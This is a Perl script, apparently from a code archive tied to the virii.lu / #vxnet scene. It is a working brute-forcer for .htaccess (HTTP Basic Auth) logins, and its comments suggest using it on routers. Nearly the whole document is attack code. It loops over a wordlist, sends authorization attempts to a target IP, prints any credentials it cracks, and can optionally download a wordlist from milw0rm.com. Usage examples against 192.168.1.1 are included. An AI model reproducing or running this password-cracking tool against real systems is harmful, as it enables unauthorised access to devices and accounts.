./c0de/perl/htaccess_Bruter.txt

0.
1.
2.
3.
4.
5.
6.
7.
8.
9.
10.
11.
12.
13.
14.
15.
16.
17.
18.
19.
20.
21.
22.
23.
24.
25.
26.
27.
28.
29.
30.
31.
32.
33.
34.
35.
36.
37.
38.
39.
40.
41.
42.
43.
44.
45.
46.
47.
48.
49.
50.
51.
52.
53.
54.
55.
56.
57.
58.
59.
60.
61.
62.
63.
64.
65.
66.
67.
68.
69.
70.
71.
72.
73.
74.
75.
76.
77.
78.
79.
#!/usr/bin/perl
=poc
Simple .htaccess bruteforcer. Could be usefull to crack router logins.
 
by Perforin
virii.lu
#vxnet
 
Greetings to everyone from #vxnet and EOF
=cut
 
use HTTP::Request;
use LWP::UserAgent;
use LWP::Simple;
use File::Temp qw(tempfile);
 
use strict;
use warnings;
use diagnostics;
 
my($ip,$user,$dic) = @ARGV;
my($fh, $tmpfile) = tempfile("X" x 23, UNLINK => 1);
my($useragent,$request,$zeile,$_,@data);
 
 
if (@ARGV < 3) { help(); }
 
print <<"INTRO";
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
.htaccess Bruter              by Perforin
                                 virii.lu
                                   #vxnet                             
~[v1.0]~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
 
INTRO
 
if ($dic =~ m/--milw0rm/i) {
print "[~] Loading milw0rm wordlist...\n";
getstore('http://milw0rm.com/mil-dic.php',$tmpfile) || die "milw0rm down?!\n";
open(DIC,"<",$tmpfile) || die "Wordlist not found or permission denied!\n";
} else {
open(DIC,"<",$dic) || die "Wordlist not found or permission denied!\n";
}
 
$useragent = LWP::UserAgent->new;
$request = HTTP::Request->new(GET => 'http://' . $ip);
 
while(<DIC>) {
chomp($_);
 
$request->authorization_basic($user, $_);  
@data = $useragent->request($request)->as_string;
 
foreach $zeile (@data) {
if($zeile =~ m/401 Unauthorized/i) {
print "[~] Bruting...\n";
} else {
print "\n[!] Got login!\n";
print "[!] " .  $user . ":" . $_ . "\n";
exit;
    }
  }
}
print "[-] Could not be cracked!\n";
close(DIC);
 
sub help {
print <<"HELP";
########################################
      .htaccess bruter by Perforin      
 
brute.pl 192.168.1.1 admin dic.txt
brute.pl 192.168.1.1 admin --milw0rm
 
###############[virii.lu]###############
HELP
exit;
}
 
 

Back